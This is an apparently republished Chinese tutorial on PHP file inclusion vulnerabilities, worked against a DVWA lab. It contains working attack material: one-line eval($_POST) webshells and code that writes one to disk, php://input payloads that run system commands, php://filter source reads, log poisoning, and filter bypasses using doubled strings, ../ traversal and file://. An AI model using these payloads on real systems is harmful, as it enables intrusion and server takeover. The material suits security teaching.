您的位置:首页 > 财经 > 产业 > 文件包含漏洞

文件包含漏洞

2024/12/23 6:16:16 来源:https://blog.csdn.net/weixin_58189050/article/details/139663527  浏览:    关键词:文件包含漏洞

1.文件包含

需要加载一些文件代码时用到文件包含命令,有文件包含功能就可能有文件包含漏洞。

2.分类

函数分类

PHP中的四个包含文件函数include(),include_once(),require()和require_once().

include():一个文件存在错误的话,那么程序不会中端,而是继续执行,并显示一个警告错误。

require():一个文件存在错误的话,那么程序就会中断执行了,并显示致命错误

include_once(), require_once()会先检查目标文件的内容是不是在之前就已经导入过了,如果是的话,便不会再次重复导入同样的内容。

文件包含方式分类

本地包含:本服务器的文件
远程包含:远程服务器的文件(把远程代码加入到自己的代码中执行)

本地包含

<?php
$filename = $_GET['filename'];
include($filename);
// 下面这两种写法就做本地包含
//include('./webshell.jpg');
//include('C:\phpStudy\PHPTutorial\WWW\webshell.jpg')
?>

 远程包含

需要打开一些配置,如下图即可

3.文件包含 》》日志文件 

当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。

Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日 志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中.

看到数据被编码,可以通过抓包修改数据。 

 

一句话木马 

<?php @eval($_POST(111))?>
<?php $file=fopen('xx.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
# 创建 xxx.php文件并写入 <?php @eval($_POST[666]);?>。

4.文件包含 》》读取php文件

php://filter/read=convert.base64-encode/resource= x.php # 文件路径

5.文件包含 》》执行php系统命令。

构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提 交请求体数据为:<?php system('net user');?>,这句话是利用php代码来执行操作系统指令,其实你执 行什么代码都可以,比如<?php system('netstat -an');?>

注意:只有在allow _url_include为on的时候才可以使用

6.str_replace函数绕过

这是一个替换数据的函数,而且只替换一次,所以有漏洞。

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如page=hthttp://tp://IP/phpinfo.txt时,str_replace函数会将http://删除,

于是page=http://IP/phpinfo.txt,成功执行远程命令。

同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

用在的操作系统不同 /unix linux \windows

1、本地文件包含,写多个../那么str_replace其实只替换一次,那么我们的相对路径还能生效 http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././

xampp/htdocs/dvwa/php.ini

2、绝对路径不受任何影响

http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

3、远程文件包含

http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/php info.txt

7.fnmatch函数绕过

if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不 
是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。 
page=file:///C:/xampp/htdocs/dvwa/php.ini 
file协议刚好满足"file*"(文件名file开头)。注意,file协议用的是三个反斜杠昂 构造url  
file:\\\ 后面添 文件路径

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com